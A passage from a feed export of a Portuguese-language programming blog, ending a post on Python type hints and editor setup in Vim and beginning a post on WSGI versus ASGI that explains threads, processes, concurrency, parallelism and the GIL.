&lt;h3&gt;Vim&lt;/h3&gt;
&lt;p&gt;No &lt;a href=&quot;/tag/vim.html&quot; title=&quot;Leia mais sobre Vim&quot;&gt;&lt;em&gt;Vim&lt;/em&gt;&lt;/a&gt; há diferentes alternativas. Talvez a forma mais simples
e prática seja com o uso do &lt;a href=&quot;https://github.com/dense-analysis/ale&quot; title=&quot;Veja o repositório no Github&quot;&gt;&lt;em&gt;vim-ale&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Caso você se aventure pelo mundo do &lt;a href=&quot;/tag/lsp.html&quot; title=&quot;Leia mais sobre Language Server Protocol&quot;&gt;&lt;em&gt;LSP&lt;/em&gt;&lt;/a&gt;,
uma combinação interessante é a do &lt;a href=&quot;https://github.com/prabirshrestha/vim-lsp&quot; title=&quot;LSP com Vim&quot;&gt;&lt;em&gt;vim-lsp&lt;/em&gt;&lt;/a&gt; +
&lt;a href=&quot;https://github.com/python-lsp/python-lsp-server&quot; title=&quot;Acesse o repositório no GitHub&quot;&gt;&lt;em&gt;Python Language Server&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install pip install python-lsp-server pylsp-mypy&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/1d2244b4c1e0109ffcf8caa1d743cbb6/38a65/type-hint-vim.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 59.375%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACN0lEQVQoz52TyW4TQRCG5wDikgtKwJDFS7ae7tlnvI1npsfO7sSOgkKUQA6IIAwYSJQgAjkhzjwHb8MLGPEYYC5OF9XjGIyEIoWRPlVV16LqvzXK9m33ej2ulEmhFM/O5bnKypxqPie0xA0r4iFf536whnaDR/EGL/rLnGCN+g9m5p0RJZeanc174Xe3VId8cU04XhVMRxKDZsbgFpbB8RbByS8lvuksANUjYAjtI5gRCelnp40VJTU2oelm9WfBb4BXruPAJTBMDszgSYOqRb/twJe5AdTgOJAnA6cybBMHjjPDqnULwSYUg/o5DhT6RdEVOJcbp7OsqdxKpdk8LXcJrQChgSAswE3CBPrnWn/R3zYEwioSQbRAzOkhTGRoU7k7McPs/GrX9lbAcGpCajRAt6pg2DXUsppcT2oqY6zD/CJqug5uqSHy3qrwjSqoOaOpjIwytrfb6p4dHsDx0x3x7uVDePviAbx5tgeHB9tw9GQHjg7uwfP9Brx6tAWvH9+Hk9YunLb34ePpCXw4ey8+HbfF59YOtJejpnJzdJKprNS17RBshwvHidD2cVwuz8D1JPjibpzEg7xl+WCaZWHagdCxJjODGqbuZBjq8YOgLoSFPcKi8wRtCDbE8LnGJT3UtEdoCFNp1sCBWU2zYmHYC319Lqxu1RINLyWp7/fIOJPTt5TRsfFpVfO/UD34pmqVDtUrHWnxb+jM0+KlYF9nqOfrZJpECn7XkHEkh2T/E9k7hdz4BaOERNwvf9Z4AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Interface do Vim mostrando um erro de tipo&quot;
        title=&quot;Como o erro do mypy é exibido no vim com vim-lsp&quot;
        src=&quot;/static/1d2244b4c1e0109ffcf8caa1d743cbb6/e5715/type-hint-vim.png&quot;
        srcset=&quot;/static/1d2244b4c1e0109ffcf8caa1d743cbb6/8514f/type-hint-vim.png 192w,
/static/1d2244b4c1e0109ffcf8caa1d743cbb6/804b2/type-hint-vim.png 384w,
/static/1d2244b4c1e0109ffcf8caa1d743cbb6/e5715/type-hint-vim.png 768w,
/static/1d2244b4c1e0109ffcf8caa1d743cbb6/38a65/type-hint-vim.png 1075w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Como o erro do mypy é exibido no vim com vim-lsp&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Volto a mencionar a minha experiência em um projeto complexo em &lt;em&gt;Javascript&lt;/em&gt;: Ter os tipos declarados e explícitos foi de muita ajuda,
e sem dúvida acelerou o desenvolvimento e o &lt;em&gt;onboarding&lt;/em&gt; de novos membros à equipe com o passar do tempo. Não é tão difícil de enxergar as vantagens por esses termos.&lt;/p&gt;
&lt;p&gt;Mas o debate sobre &lt;em&gt;Python&lt;/em&gt; em si ser um bom candidato a esse tipo de prática é muito válido. Fazendo um contraponto ao parágrafo acima,
um código bem escrito poderia sim ser o suficiente para resolver alguns dos problemas que estamos tentando resolver com &lt;em&gt;type hint&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Eu ainda trocaria um código &lt;code class=&quot;language-text&quot;&gt;mal escrito&lt;/code&gt; por um &lt;code class=&quot;language-text&quot;&gt;bem escrito&lt;/code&gt;, ao invés de um &lt;code class=&quot;language-text&quot;&gt;mal escrito&lt;/code&gt; por um &lt;code class=&quot;language-text&quot;&gt;mal escrito com type hints&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Em cima do muro :)&lt;/p&gt;
&lt;p&gt;Quem sabe no próximo grande projeto...&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referência&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.to/tusharsadhwani/does-python-need-types-59if&quot;&gt;dev.to - Does Python need types?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.to/tusharsadhwani/the-comprehensive-guide-to-mypy-561m&quot;&gt;dev.to - The comprehensive guide to mypy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.python.org/dev/peps/pep-0484/&quot;&gt;PEP 484 - Type hints&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.researchgate.net/publication/259634489_An_empirical_study_on_the_impact_of_static_typing_on_software_maintainability&quot;&gt;ResearchGate - An empirical study on the impact of static typing on software maintainability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.treinaweb.com.br/blog/quais-as-diferencas-entre-tipagens-estatica-ou-dinamica-e-forte-ou-fraca/&quot;&gt;TreinaWeb - Quais as diferenças entre tipagens: estática ou dinâmica e forte ou fraca&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikipedia.org/wiki/Python&quot;&gt;Wikipedia - Python&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Do WSGI ao ASGI - Parte 1]]></title><description><![CDATA[O Django 3 veio para sacudir as estruturas! Parece que foi ontem, mas
a versão já está aí desde 2019. Entre todas as suas adições,
a de…]]></description><link>https://klauslaube.com.br/2021/03/01/do-wsgi-ao-asgi-parte-1.html</link><guid isPermaLink="false">https://klauslaube.com.br/2021/03/01/do-wsgi-ao-asgi-parte-1.html</guid><pubDate>Mon, 01 Mar 2021 17:45:00 GMT</pubDate><content:encoded>&lt;p&gt;O &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django 3&lt;/em&gt;&lt;/a&gt; veio para sacudir as estruturas! Parece que foi ontem, mas
a versão já está aí desde 2019. Entre todas as suas adições,
a de maior destaque certamente é a adoção de capacidades &lt;em&gt;async&lt;/em&gt; através do &lt;em&gt;ASGI&lt;/em&gt; (&lt;em&gt;Asynchronous Server Gateway Interface&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Se você, assim como eu, não vê motivos para largar o &lt;a href=&quot;/2012/11/02/entendendo-o-cgi-fastcgi-e-wsgi.html&quot; title=&quot;Entendendo o CGI, FastCGI e WSGI&quot;&gt;&lt;em&gt;WSGI&lt;/em&gt;&lt;/a&gt; (&lt;em&gt;Web Server Gateway Interface&lt;/em&gt;),
e ainda tem dificuldades para compreender o que é de fato esse novo &lt;em&gt;Gateway Interface&lt;/em&gt;, vem comigo!&lt;/p&gt;
&lt;p&gt;Mas antes de mergulhar na prática, essa é uma boa oportunidade para falarmos sobre &lt;em&gt;async&lt;/em&gt;, &lt;em&gt;threads&lt;/em&gt;, concorrência e paralelismo.&lt;/p&gt;
&lt;h2&gt;CPU, cores, processos e threads&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;CPU&lt;/em&gt; é a cabeça por trás de todo o processamento. Ele funciona em ciclos que correspondem ao tempo necessário para a execução de uma operação. Um
&lt;em&gt;CPU&lt;/em&gt; pode ter múltiplos &lt;em&gt;cores&lt;/em&gt;, e cada &lt;em&gt;core&lt;/em&gt; é capaz de executar múltiplos processos.&lt;/p&gt;
&lt;p&gt;No caso dos processos &lt;em&gt;Python&lt;/em&gt;, cada um possui um interpretador &lt;em&gt;Python&lt;/em&gt;, &lt;em&gt;memory space&lt;/em&gt;, e o famigerado &lt;em&gt;GIL&lt;/em&gt; (mais a seguir).&lt;/p&gt;
&lt;p&gt;Quando executamos o processo &lt;em&gt;Python&lt;/em&gt;, ele:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pode executar múltiplos subprocessos.&lt;/li&gt;
&lt;li&gt;A partir da &lt;em&gt;main thread&lt;/em&gt;, pode iniciar múltiplas &lt;em&gt;threads&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/9be65b84d1ac7c8037599acba7d77908/5205c/python-thread-multiprocessing.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 43.75%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA/klEQVQoz5WRiYrFMAhF8///WEppS3e674szR7CEGXjwAhKN5lxNnPyu53nYZBxHieNYsiyTdV3Fz9lua5omrU3TVM7zfM8dhT6wLEupqkqWZXlBPnTfdzmOQ/N936tt26YG2PnKbdtKURSSJIl0XfcPeN+3dk4MKM9zbQCB67pUTIEUckCCUVDH5xzzgeSBsgNF2O5w7owMgJbnedYYnzPryIA8CzUGAFbXtQzDoL5DhQIAwP/GdECMD5C3MjhCVkcT5FwURRIEgV7CwjB8YxQttl+nM/swdmAYnTORg0rCRvwU05GNyGqaRoUA8kEKlC8WQHs7RsRHkJiJAP4AvrS9ZXpY3AUAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Diagrama mostrando a diferença entre multithreading e multiprocessing&amp;quot;&quot;
        title=&quot;Multithreading vs. Multiprocessing&quot;
        src=&quot;/static/9be65b84d1ac7c8037599acba7d77908/e5715/python-thread-multiprocessing.png&quot;
        srcset=&quot;/static/9be65b84d1ac7c8037599acba7d77908/8514f/python-thread-multiprocessing.png 192w,
/static/9be65b84d1ac7c8037599acba7d77908/804b2/python-thread-multiprocessing.png 384w,
/static/9be65b84d1ac7c8037599acba7d77908/e5715/python-thread-multiprocessing.png 768w,
/static/9be65b84d1ac7c8037599acba7d77908/5205c/python-thread-multiprocessing.png 833w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Multithreading vs. Multiprocessing&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Uma &lt;em&gt;thread&lt;/em&gt; é uma unidade de execução dentro de um processo. Cada &lt;em&gt;thread&lt;/em&gt; utiliza o espaço de memória do mesmo, compartilhando-o com as demais.&lt;/p&gt;
&lt;h2&gt;Concorrência e paralelismo&lt;/h2&gt;
&lt;p&gt;A motivação por trás do uso de &lt;em&gt;threads&lt;/em&gt; e subprocessos é permitir que diferentes tarefas aconteçam ao mesmo tempo. E &quot;ao mesmo tempo&quot; pode significar
que a intenção seja de um resultado simultâneo, mas na prática, não necessariamente ocorrendo no mesmo instante.&lt;/p&gt;
&lt;p&gt;Complicado? Para fins didáticos
vamos utilizar o exemplo proposto pelo &lt;a href=&quot;https://medium.com/fintechexplained/advanced-python-concurrency-and-parallelism-82e378f26ced&quot; title=&quot;Advanced Python: Concurrency And Parallelism&quot;&gt;&lt;em&gt;FinTechExplained&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Eu estou esperando 10 amigos para almoçar, e eu tenho 3 horas para cozinhar o suficiente para 10 pessoas.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Os passos para um prato são:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Começo lavando os vegetais (~5 minutos);&lt;/li&gt;
&lt;li&gt;Corto os vegetais (~13 minutos);&lt;/li&gt;
&lt;li&gt;Cozinho os mesmos (~30 minutos);&lt;/li&gt;
&lt;li&gt;Sirvo (~2 minutos).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 623px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/e1761b77eba92b809d031991a52c7821/6114d/cooking-sync.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 37.5%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABIklEQVQoz52RWW/CMBCE8/9/WIVatX3olUIOjkDuCEJJbMfxdJwAgj6AVEsbeb/ZjNdeB3+WuZNfsr5tYPp+ZGakjgVDaD2KFK6YLbxktuZoohZzyM8PmK47mzrKm6GnYEOHAeTUhZ6HzEOY5QJyNh3ixCTrxbcLFfjQ5O3rC8T7G/q6HjvcJwnKokCy2aBKUzQ0KbIMOXkcx/hZLdFtt6jKEjl1dThAkCkph5qOXclohWbygC6J4dTWIIoQBwEq7huenPOHjB1v2PGeucpSlOs1GTuuSggyudsNuWoaSNa1z0/Q1Jwu9NHTyNBE2zcJvCE/MUVd2usdmd1L34PiE2hevX2cQLhfMEKMV7413XsTV+toOPCs26HYz79DqSszu34B8IhnljykTsAAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Fluxograma mostrando os passos iniciando pela lavagem e terminando em servir&quot;
        title=&quot;O fluxo de forma linear&quot;
        src=&quot;/static/e1761b77eba92b809d031991a52c7821/6114d/cooking-sync.png&quot;
        srcset=&quot;/static/e1761b77eba92b809d031991a52c7821/8514f/cooking-sync.png 192w,
/static/e1761b77eba92b809d031991a52c7821/804b2/cooking-sync.png 384w,
/static/e1761b77eba92b809d031991a52c7821/6114d/cooking-sync.png 623w&quot;
        sizes=&quot;(max-width: 623px) 100vw, 623px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;O fluxo de forma linear&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Imagine que temos apenas uma boca no fogão, e que só conseguimos cozinhar um prato por vez.
Se pensarmos de forma linear, um prato leva aproximadamente 50 minutos para ficar pronto. Se multiplicarmos
pelo número de amigos, precisaremos de &lt;code class=&quot;language-text&quot;&gt;8 horas&lt;/code&gt; cozinhando para atender a demanda.&lt;/p&gt;
&lt;h3&gt;Concorrência&lt;/h3&gt;
&lt;p&gt;Para reduzir o tempo total, uma possibilidade é adquirirmos outro fogão. Continuamos
a cortar os vegetais de forma sequencial, mas o passo de cozimento pode acontecer de uma
maneira na qual eu possa ter as duas bocas funcionando, e checar periodicamente o estado de cozimento
de cada prato.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 623px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/6447e2ceb197d9da597ce04369a68e21/6114d/concurrency.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 37.5%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABQElEQVQoz41Rf2vCMBTs9/9YQ0Rw2x9jw632l05sq22mtbRN0uR2Ta2M4WCBBy/3Xu4u73n4dSzuH3unZpoG1pixbq0LbwBc9P1YHAoTZkbMaO1wR8J8ItGfW8jVG4ySNxFPBWuYTeKijyNI/x19EvMew24TyMCHqmsIIVAUBTQJO/8D8mOF7vUFzfMj9NoH2haGprxLlqFkY7bfQ+Q5mu0GxeGAI/E0TVHThWZd5BlyiqrTCe3TEu185sgsBURZ4kLcKAWvGgh2O6RRBMG8iUIcSXJIEuzjGHW4RruYQy4X0GGAtjiiJbn6EmjZ25/PEDRTidKRezoOYUhkSdLTgYwCd58wxTEo9kh+S5cFKi4ipHjVddAkqmcP6PkGUo5f/mu7d7dKB0Z2sNfHchgBBX/2edO6/xM3oSnnzG4Grj3fJ7FnumutUyAAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Com duas bocas, consigo ter concorrência no cozimento&amp;quot;&quot;
        title=&quot;Com duas bocas, consigo ter concorrência no cozimento&quot;
        src=&quot;/static/6447e2ceb197d9da597ce04369a68e21/6114d/concurrency.png&quot;
        srcset=&quot;/static/6447e2ceb197d9da597ce04369a68e21/8514f/concurrency.png 192w,
/static/6447e2ceb197d9da597ce04369a68e21/804b2/concurrency.png 384w,
/static/6447e2ceb197d9da597ce04369a68e21/6114d/concurrency.png 623w&quot;
        sizes=&quot;(max-width: 623px) 100vw, 623px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Com duas bocas, consigo ter concorrência no cozimento&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://diogommartins.wordpress.com/2017/04/07/concorrencia-e-paralelismo-threads-multiplos-processos-e-asyncio-parte-1/&quot; title=&quot;CONCORRÊNCIA E PARALELISMO – THREADS, MÚLTIPLOS PROCESSOS E ASYNCIO – PARTE 1&quot;&gt;&lt;em&gt;Diogo M. Martins&lt;/em&gt; define concorrência como&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Quando duas ou mais tarefas podem começar a ser executadas e terminar em espaços de tempo que se sobrepõem,
não significando que elas precisam estar em execução necessariamente no mesmo instante.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Logo, ao invés de 60 minutos (2 pratos x 30 minutos de cozimento) podemos alcançar um tempo menor.&lt;/p&gt;
&lt;h3&gt;Paralelismo&lt;/h3&gt;
&lt;p&gt;Com dois cozinheiros, cada um trabalhando de sua casa, conseguimos dividir a carga, e portanto, em &lt;code class=&quot;language-text&quot;&gt;4 horas&lt;/code&gt; seremos capazes de atender a demanda.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 623px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f80ff0676dbbd83c47510ccda5d70ff9/6114d/parallelism.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 77.60416666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAACU0lEQVQ4y5VU2VLjMBDM/3/XLlA87Am5E9s57JiQy5csWXJvj0yOheIBVXVpRp6MWupWem3b4hYyijxHGIaI4xjb7Rar1crHMvsaqUU3bn8ncw8341yktEbKRofTyWO722F/OPq1c42rFVyefWjac0UOD7JyZUGUaAko1UHXQP0Wc5ZvrarQbBKoxwc0SXwlJAz1dAy7jIgF9GQMNRqgWYREBBPMUfWfUAczmDCAJlT/GfV0AhOF/rt6/gszn6Ftmo7hnsdJ9ntEmw1OPFLGOWa+4JykKZrXLQpjEPEOS+tgWOOcQ3o4oLAWbV2juvsGPR52DIvxCDl3OHHXknHFDzl3PpFtzjU1HECRbca44iy5jgIUwo6nqicj6GEfrqo6hnb3CrffXWDJzu3OcQdhKWsy+7XDHs1qCXX/3R8bn6n8leEokuUmt4J4hi3v4wrrF4+8n0G/j/lshjAIMJ1MEDAeDXlPvDe81b9v9ilDKa0ohKJymg2UaXxc0Z+XGlrM0A0fGNr1Co6eEjTx2kNivKRo0w0sfXbJpYb1DRVvKIx6vEc9ePZKXxgW9FO+XuNIxUpecDmbIpN8sUAWUVX6VLHxUeKXF+YT6CRBzqaKAmkR59cPiLidD8VvRMgGRxZmZBAzXyyXSPh2DZsVRYmIDQsKYfjN8sWkbJ5Xyr+y6uGuM7cwNPSe5QtwPIIWT9GHPicsX4jikQxZS27mU+Z9772GsX76g+r3TzTc9Dx6oprA8dIvaktum6ui73IZ4teazVz2/x/El314+dui4i2d8P7f5h9rncwIsLK7IgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Com dois cozinheiros, consigo paralelizar o trabalho&amp;quot;&quot;
        title=&quot;Com dois cozinheiros, consigo paralelizar o trabalho&quot;
        src=&quot;/static/f80ff0676dbbd83c47510ccda5d70ff9/6114d/parallelism.png&quot;
        srcset=&quot;/static/f80ff0676dbbd83c47510ccda5d70ff9/8514f/parallelism.png 192w,
/static/f80ff0676dbbd83c47510ccda5d70ff9/804b2/parallelism.png 384w,
/static/f80ff0676dbbd83c47510ccda5d70ff9/6114d/parallelism.png 623w&quot;
        sizes=&quot;(max-width: 623px) 100vw, 623px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Com dois cozinheiros, consigo paralelizar o trabalho&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;E talvez essa seja a forma mais simplista de definir paralelismo: Quando duas ou mais tarefas são executadas literalmente ao mesmo tempo.&lt;/p&gt;
&lt;p&gt;Bom... se a motivação por trás das &lt;em&gt;threads&lt;/em&gt; e subprocessos é permitir que tarefas aconteçam ao mesmo tempo, podemos
utilizar qualquer um deles para alcançar paralelismo, certo?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 510px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/34c33f191a9ad0f896382106ff682d5c/18815/concurrency-parallelism.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 53.645833333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIBAwX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAHchlLAD//EABcQAQEBAQAAAAAAAAAAAAAAAAEQACH/2gAIAQEAAQUCXdiF/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGBAAAgMAAAAAAAAAAAAAAAAAEDEAAUH/2gAIAQEABj8CdTAj/8QAGxAAAwACAwAAAAAAAAAAAAAAAAERECFBgaH/2gAIAQEAAT8hk/BlJWbnQ9tpTnH/2gAMAwEAAgADAAAAEBDP/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAHRABAAICAgMAAAAAAAAAAAAAAQARITFBkVGhsf/aAAgBAQABPxBKAOz7KHXbfuNDZ0mQDyTMApjmABQVP//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Diagrama com a diferença de execução entre concorrência e paralelismo&amp;quot;&quot;
        title=&quot;Uma imagem pode valer mais que mil palavras (stackoverflow.com)&quot;
        src=&quot;/static/34c33f191a9ad0f896382106ff682d5c/18815/concurrency-parallelism.jpg&quot;
        srcset=&quot;/static/34c33f191a9ad0f896382106ff682d5c/7809d/concurrency-parallelism.jpg 192w,
/static/34c33f191a9ad0f896382106ff682d5c/4ecad/concurrency-parallelism.jpg 384w,
/static/34c33f191a9ad0f896382106ff682d5c/18815/concurrency-parallelism.jpg 510w&quot;
        sizes=&quot;(max-width: 510px) 100vw, 510px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Uma imagem pode valer mais que mil palavras (stackoverflow.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Não necessariamente.&lt;/p&gt;
&lt;h2&gt;GIL (Global Interpreter Lock)&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Python Global Interpreter Lock&lt;/em&gt; (ou &lt;em&gt;GIL&lt;/em&gt;) é uma &quot;trava&quot; que permite que apenas uma &lt;em&gt;thread&lt;/em&gt; tenha controle sobre o interpretador. Ou seja,
apenas uma &lt;em&gt;thread&lt;/em&gt; executa por vez, mesmo em uma arquitetura &lt;em&gt;multi-thread&lt;/em&gt; com mais de um &lt;em&gt;core&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Infame? No mínimo. Mas há uma boa motivação para essa trava existir. De forma resumida, ela está relacionada
